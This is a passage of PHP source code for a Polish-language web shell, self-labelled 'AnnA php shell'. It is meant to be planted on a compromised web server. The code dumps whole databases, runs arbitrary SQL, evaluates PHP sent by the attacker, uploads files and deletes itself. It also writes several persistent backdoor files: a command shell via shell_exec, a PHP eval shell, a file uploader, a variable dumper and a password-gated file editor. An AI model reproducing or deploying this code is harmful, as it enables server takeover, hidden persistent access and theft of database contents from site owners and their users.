setcookie("sql_baza",$_POST["sql_baza"],time()+9999);
 
setcookie("sql_login",$_POST["sql_login"],time()+9999);
 if(
$_POST["sql_haslo"]!=""){setcookie("sql_haslo",$_POST["sql_haslo"],time()+9999);}
}

if(
$_COOKIE["sql_host"]!="" && $_COOKIE["sql_baza"]!="" && $_COOKIE["sql_login"]!="" && $_POST["action"]=="mysql"){
 if(isset(
$_COOKIE["sql_haslo"])){$sql_haslo=$_COOKIE["sql_haslo"];}else{$sql_haslo='';}
 if(!@
mysql_connect($_COOKIE["sql_host"],$_COOKIE["sql_login"],$sql_haslo)){
  
showtrue("Błąd połączenia!");
  die();
 }

 if(!@
mysql_select_db($_COOKIE["sql_baza"])){
  
showtrue("Błąd wybierania bazy!");
  die();
 }
#####################
#####  SQL DUMP
#####################

$dmp="";
$nl="\r\n";
$dmy=date("d-m-Y H:i:s");
$dmp.="#SQL dump wygenerowany przez AnnA php shell [by WIDMO]".$nl;
$dmp.="#Data wygenerowania: ".$dmy.$nl.$nl;

$query=@mysql_list_tables($_COOKIE["sql_baza"]);
while(
$rek=@mysql_fetch_array($query)){
 
$tab_name=$rek[0];
 
$tab_fields = array();
 
//$tab_fields=array();

 
$dmp.="#tabela: ".$tab_name.$nl;
 
$dmp.="DROP TABLE IF EXISTS ".$tab_name.";".$nl;
 
$dmp.="CREATE TABLE ".$tab_name." ( ".$nl;

 
$query_f=@mysql_query("show fields from ".$tab_name);
 while(
$fields=@mysql_fetch_array($query_f)){
  
$dmp.="  ";
  
$dmp.=$fields["Field"]." ".$fields["Type"];
  
  if(
$fields["Defeault"]!=""){
   
$dmp.="DEFEAULT '".$fields["Defeault"]."'";
  }
//defeault!=""
  
  
if($fields["Null"]!="Yes"){
   
$dmp.=" NOT NULL";
  }
//null

  
if($fields["Extra"]!=""){
   
$dmp.=" ".$fields["Extra"];
  }
//extra
  
$dmp.=",".$nl;
  
  
$tab_fields[]=$fields["Field"];
 }
//pola|array
 
 
$query_k=@mysql_query("show keys from ".$tab_name);
 while(
$keys=@mysql_fetch_assoc($query_k)){
  
$kname=$keys["Key_name"];
  if(
$kname!="PRIMARY" && $keys["Non_unique"]==0){
   
$kname="UNIQUE|".$kname;
  }
  
  
$index[$kname]=array();
  
$index[$kname][]=$keys["Column_name"];
 }
//wyciąga klucze
 
 
while(list($n,$columns)=@each($index)){
  if(
$n=="PRIMARY"){
   
$dmp.="  PRIMARY KEY (".implode($columns,", ").")";
  }elseif(
substr($n,0,6)=="UNIQUE"){
   
$dmp.="  UNIQUE ".substr($n,7)." (".implode($columns,", ").")";
  }else{
   
$dmp.="  KEY ".$n." (".implode($columns,", ").")";
  }
  
$dmp.=$nl;
 }
//keys cd
 
$dmp.=");".$nl;
 
$dmp.=$nl.$nl;
 
$dmp.=$nl."#Dane z: ".$tab_name.$nl;
 
 
$query_d=@mysql_query("select * from ".$tab_name);
 while(
$data=@mysql_fetch_array($query_d)){
  
$dmp.=$nl." INSERT INTO ".$tab_name." (".implode(", ",$tab_fields).") VALUES (";
  
  
$f_count=count($tab_fields);
  
$f_data=array();
  for(
$i=0;$i<$f_count;$i++){
    
$data2=htmlspecialchars($data[$i],ENT_QUOTES);
   
$f_data[].="'".$data2."'";
  }
//for
  
$dmp.=implode(", ",$f_data).");".$nl;
 }
//dane z tabel
 
$dmp.=$nl.$nl;
 
$dmp.="#E N D [AnnA]".$nl.$nl;
}
//wyciąga każdą bazę po kolei [while]
echo '<center><div style="border:1px dashed white;width:80%;"><a href=javascript:show("dump_bazy")>DUMP BAZY</a></div>
<div style="border:1px dashed white;width:80%;display:none;" id="dump_bazy" name="dump_bazy">
 <center><textarea rows="30" cols="100">'
.$dmp.'</textarea></center>
</div><br></center>

<center><div style="border:1px dashed white;width:80%;"><a href=javascript:show("mysql_command")>MySQL COMMAND</a></div>
<div style="border:1px dashed white;width:80%;display:none;" id="mysql_command" name="mysql_command">
 <form method="post" action="">
  <br><input type="text" name="sql_command"  size="60">
  <input type="hidden" name="sql_host" value="'
.$_POST["sql_host"].'">
  <input type="hidden" name="sql_baza" value="'
.$_POST["sql_baza"].'">
  <input type="hidden" name="sql_login" value="'
.$_POST["sql_login"].'">
  <input type="hidden" name="sql_haslo" value="'
.$_POST["sql_haslo"].'">
  <br><input type="submit"  value="execute">
 </form>
</div></center><br>
'
;

#####################
#####  SQL DUMP END
#####################
}//posty sql_*

if($_POST["eval_com"]!=""){
 echo 
"<div id='showtrue'><fieldset><center>";
 echo @eval(
stripslashes($_POST["eval_com"]));
 echo 
"</center></fieldset><br></div>";
}

###################
### S E A R C H ###
###################

if($_POST["search_f"]!=""){
 
$sf=$_POST["search_f"];
 
$pos_path=array("./".$sf,
                 
"../".$sf,
                 
"../../".$sf,
                 
"../../../".$sf,
                 
"../../../../".$sf,
                 
"../../../../../".$sf,
                 
"../../../../../../".$sf);
 foreach(
$pos_path as $where_is_it){
  if(@
file_exists($where_is_it)){
   
showtrue('Znaleziono plik w: '.$where_is_it);
  }
 }
//foreach search

 
if($dirs!=""){
  foreach(
$dirs as $in_dir){
   if(
$in_dir!="." && $in_dir!=".."){
    
$in_dir.="/";
    if(@
file_exists("./".$in_dir.$sf)){
     
showtrue("Znaleziono plik w: ".$dir.$in_dir.$sf);
    }

    
$in_dir_up=@opendir($in_dir);
    while(
$in_dir_up_read=@readdir($in_dir_up)){
     if(@
filetype($dir.$in_dir.$in_dir_up_read)=="dir"){
      if(
$in_dir_up_read!="." && $in_dir_up_read!=".."){
       
$in_dir_up_read.="/";
       if(@
file_exists($dir.$in_dir.$in_dir_up_read.$sf)){
        
showtrue("Znaleziono plik w: ".$dir.$in_dir.$in_dir_up_read.$sf);
       }
      }
// .. .
     
}//filetype dir
    
}//while readdir();
   
}//.. .
  
}//foreach search
 
}//$dirs!=""
}
##########################
### E N D  S E A R C H ###
##########################

//self delete
if($_POST["del_me"]=="TAK"){
 if(@
unlink(__FILE__)){
  
showtrue("Plik ".__FILE__." został pomyślnie usunięty");
 }else{
  if(@
del(__FILE__)){
   
showtrue("Plik ".__FILE__." został pomyślnie usunięty");
  }else{
   
showtrue("Błąd! Plik nie może zostać usunięty");
  }
 }
}

if(
$_POST["upload_into_dir"]!=""){
 
$upload_into_dir_p_file=$_POST["upload_into_dir"].$_FILES["upload_file"]["name"];
 if(@
move_uploaded_file($_FILES["upload_file"]["tmp_name"],$upload_into_dir_p_file)){
  
showtrue("Plik został załadowany na serwer");
 }else{
  
showtrue("Błąd! Plik nie został załadowany");
 }
}

if(
$_POST["backdoor_self_upload_dir"]!="" && $_POST["backdoor_file_upload_dir"]!=""){
 
///////////////////////////////////
 
$backdoor_file_upload_dir=$_POST["backdoor_file_upload_dir"];
 
$zuy_upload='<?php if($_POST["uploaded_f_submit"]!=""){
  $upload_into_dir_p_file="'
.$backdoor_file_upload_dir.'".$_FILES["upload_file"]["name"];
  if(@move_uploaded_file($_FILES["upload_file"]["tmp_name"],$upload_into_dir_p_file)){
   echo("<center><b>Yea!</b></center>");
  }else{
   echo("<center><b>Błąd...</b></center>");
  }
 }else{
  echo \'<center><form method="post" action="" enctype="multipart/form-data">
   <input type="file" name="upload_file" size="70">
   <input type="submit" value="Goooo!" name="uploaded_f_submit">
  </form></center>\';} ?>'
;
 
///////////////////////////////////
 
$x=@fopen($_POST["backdoor_self_upload_dir"],"w");
 if(@
fputs($x,$zuy_upload)){
  
showtrue("Tylnia furtka została utworzona poprawnie w: ".$_POST["backdoor_self_upload_dir"]);
 }else{
  
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["backdoor_self_upload_dir"]);
 }
 @
fclose($x);
}

if(
$_POST["bd_os_shell"]!=""){
 
$bd_os_shell='
  <?php
   if($_POST["command"]==""){
    echo \'<center><form method="post" action="">
           <input type="text" name="command" width="500">
          </form></center>\';
   }else{
    echo "<center><textarea rows=30 cols=100>".htmlspecialchars(@shell_exec($_POST["command"]))."</textarea></center>";
   }
  ?>'
;
  
$plik=@fopen($_POST["bd_os_shell"],"w");
  if(@
fputs($plik,$bd_os_shell)){
   
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_os_shell"].".");
  }else{
   
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_os_shell"]);
  }
}

if(
$_POST["bd_php_eval"]!=""){
 
$bd_php_eval='
  <?php
   if($_POST["command"]==""){
    echo \'<center><form method="post" action="">
           <input type="text" name="command" width="500">
          </form></center>\';
   }else{
    echo htmlspecialchars(@eval(stripslashes($_POST["command"])));
   }
  ?>
 '
;
 
$plik=@fopen($_POST["bd_php_eval"],"w");
 if(@
fputs($plik,$bd_php_eval)){
  
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_php_eval"].".");
 }else{
   
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_php_eval"]);
 }
}

if(
$_POST["bd_defined_vars"]!="" && $_POST["bd_defined_vars_pass"]!=""){
 
$bd_defined_vars='
  <?php
   if($_GET["a"]==""){
    echo \'<center><form method="get" action="">
           <input type="text" name="a" width="500">
          </form></center>\';
   }elseif($_GET["a"]=="'
.$_POST["bd_defined_vars_pass"].'"){
    $def_v=@get_defined_vars();
    echo "<center><textarea rows=30 cols=100>";
    print_r($def_v);
    echo "</textarea>";
   }elseif($_GET["a"]!="'
.$_POST["bd_defined_vars_pass"].'"){echo "null...";}
  ?>
 '
;
 
$plik=@fopen($_POST["bd_defined_vars"],"w");
 if(@
fputs($plik,$bd_defined_vars)){
  
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_defined_vars"].".");
 }else{
   
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_defined_vars"]);
 }
}

if(
$_POST["bd_edit"]!="" && $_POST["bd_edit_pass"]!=""){
 
$bd_edit='
  <?php
   if($_GET["a"]==""){
    echo \'<center><form method="get" action="">
           <input type="text" name="a" width="500">
          </form></center>\';
   }elseif($_GET["a"]=="'
.$_POST["bd_edit_pass"].'"){
    if($_POST["ftoedit"]==""){
     echo \'<form method="post" action="">Plik do edycji: <input type="text" name="ftoedit"></form>\';
    }else{
     echo \'<center><form method="post" action="">
        <textarea rows="30" cols="100" name=ftoedit_2>\'.htmlspecialchars(file_get_contents($_POST["ftoedit"])).\'</textarea>
        <input type="hidden" name="ftoedit_temp" value="\'.$_POST["ftoedit"].\'">
        <br><input type="submit" value="edytuj">
        </form>
        </center>\';
    }
    if($_POST["ftoedit_2"]!="" && $_POST["ftoedit_temp"]){
     $plik=@fopen($_POST["ftoedit_temp"],"w");
     if(fputs($plik,$_POST["ftoedit_2"])){echo "yea!";}else{echo "Błąd...";}
    }
   }elseif($_GET["a"]!="'
.$_POST["bd_edit_pass"].'"){echo "null...";}
  ?>
 '
;
 
$plik=@fopen($_POST["bd_edit"],"w");
 if(@
fputs($plik,$bd_edit)){
  
showtrue("Tylnia furtka została utworzona w ".$_POST["bd_edit"].".");
 }else{
   
showtrue("Błąd! Nie można utworzyć tylniej furtki w ".$_POST["bd_edit"]);
 }
}

if(
$_POST["action"]=="phpinfo"){
 @
phpinfo();
}

if(
$_POST["sql_command"]!="" && $_COOKIE["sql_host"]!="" && $_COOKIE["sql_baza"]!="" && $_COOKIE["sql_login"]!=""){
  if(isset(
$_COOKIE["sql_haslo"])){$sql_haslo=$_COOKIE["sql_haslo"];}else{$sql_haslo='';}
  if(!@
mysql_connect($_COOKIE["sql_host"],$_COOKIE["sql_login"],$sql_haslo)){showtrue("Błąd połączenia!");die();}
  if(!@
mysql_select_db($_COOKIE["sql_baza"])){showtrue("Błąd wybierania bazy!");die();}
  
$res=@mysql_query($_POST["sql_command"]);
  if(
$res=="1"){showtrue('Zapytanie wykonane poprawnie.');}else{showtrue('<center>Błąd podczas wykonywania zapytania...</center>');}
}

if(
$_POST["action"]=="info"){
 if(!@
getenv('SERVER_SOFTWARE')){$SS="---";}else{$SS=getenv('SERVER_SOFTWARE');}
 if(!@
function_exists("curl_version")){$CURL="<font color=\"red\">OFF</font>";}else{$CURL="<font color=\"green\">ON</font>";}
 if(!@
function_exists("mysql_connect")){$MYSQL="<font color=\"red\">OFF</font>";}else{$MYSQL="<font color=\"green\">ON</font>";}
 if(!@
function_exists("ocilogon")){$ORACLE="<font color=\"red\">OFF</font>";}else{$ORACLE="<font color=\"green\">ON</font>";}
 if(!@
diskfreespace($dir)){$DISKFREESPACE="0";}else{$DISKFREESPACE=@diskfreespace($dir);}
 if(!@
disk_total_space($dir)){$DISKTOTALSPACE="0";}else{$DISKTOTALSPACE=@disk_total_space($dir);}
 if(@
ini_get("allow_url_fopen")=="1"){$AUF='<font color="green">TAK</font>';}else{$AUF='<font color="red">NIE</font>';}
 if(@
ini_get("mysql.defeault_password")=="1"){$MYSQL_DP='<font color="green">TAK</font>';}else{$MYSQL_DP='<font color="red">NIE</font>';}
 if(@
ini_get("mysql.defeault_user")=="1"){$MYSQL_DU='<font color="green">TAK</font>';}else{$MYSQL_DU='<font color="red">NIE</font>';}
 if(@
ini_get("display_errors")=="1"){$DE='<font color="green">TAK</font>';}else{$DE='<font color="red">NIE</font>';}
 if(@
ini_get("register_globals")=="1"){$RGLOBALS='<font color="green">TAK</font>';}else{$RGLOBALS='<font color="red">NIE</font>';}
 if(@
ini_get("magic_quotes_gpc")=="1"){$MQ='<font color="green">TAK</font>';}else{$MQ='<font color="red">NIE</font>';}
 if(@
ini_get("allow_url_include")=="1"){$AUI='<font color="green">TAK</font>';}else{$AUI='<font color="red">NIE</font>';}
 if(@
ini_get("sql.safe_mode")=="1"){$SSM='<font color="green">TAK</font>';}else{$SSM='<font color="red">NIE</font>';}
 echo 
'<fieldset><font size="2" face="arial">';
 echo 
'<center><table border="2" style="color:white;font-size:12;">';
 echo 
'<tr><td>safe mode: </td><td>'.$safe_mode.'</td></tr>';
 echo 
'<tr><td>funkcje wyłączone: </td><td>'.$dis_functions.'</td></tr>';
 echo 
'<tr><td>User: </td><td>'.@get_current_user().'</td></tr>';
 echo 
'<tr><td>OS: </td><td>'.@php_uname().'</td></tr>';
 echo 
'<tr><td>Folder roboczy: </td><td>'.getcwd().'</td></tr>';
 echo 
'<tr><td>Serwer: </td><td>'.$SS.'</td></tr>';
 echo 
'<tr><td>allow_url_fopen: </td><td>'.$AUF.'</td></tr>';
 echo 
'<tr><td></td><td></td></tr>';
 echo 
'<tr><td>cURL: </td><td>'.$CURL.'</td></tr>';
 echo 
'<tr><td>MySQL: </td><td>'.$MYSQL.'</td></tr>';
 echo 
'<tr><td>Oracle: </td><td>'.$ORACLE.'</td></tr>';
 echo 
'<tr><td>HDD Free: </td><td>'.@super_size_me($DISKFREESPACE).'</td></tr>';
 echo 
'<tr><td>HHD Total: </td><td>'.@super_size_me($DISKTOTALSPACE).'</td></tr>';
 echo 
'<tr><td>Wersja PHP: </td><td>'.@phpversion().'</td></tr>';
 echo 
'<tr><td>MySQL defeault password: </td><td>'.$MYSQL_DP.'</td></tr>';
 echo 
'<tr><td>MySQL defeault user: </td><td>'.$MYSQL_DU.'</td></tr>';
 echo 
'<tr><td>Display errors: </td><td>'.$DE.'</td></tr>';
 echo 
'<tr><td>Register globals: </td><td>'.$RGLOBALS.'</td></tr>';
 echo 
'<tr><td>Magic quotes: </td><td>'.$MQ.'</td></tr>';
 echo 
'<tr><td>SQL safe mode: </td><td>'.$SSM.'</td></tr>';
 echo 
'</table></center></font></fieldset><br>';
}

echo 
'</div>;';//id=main

ob_end_flush();
?>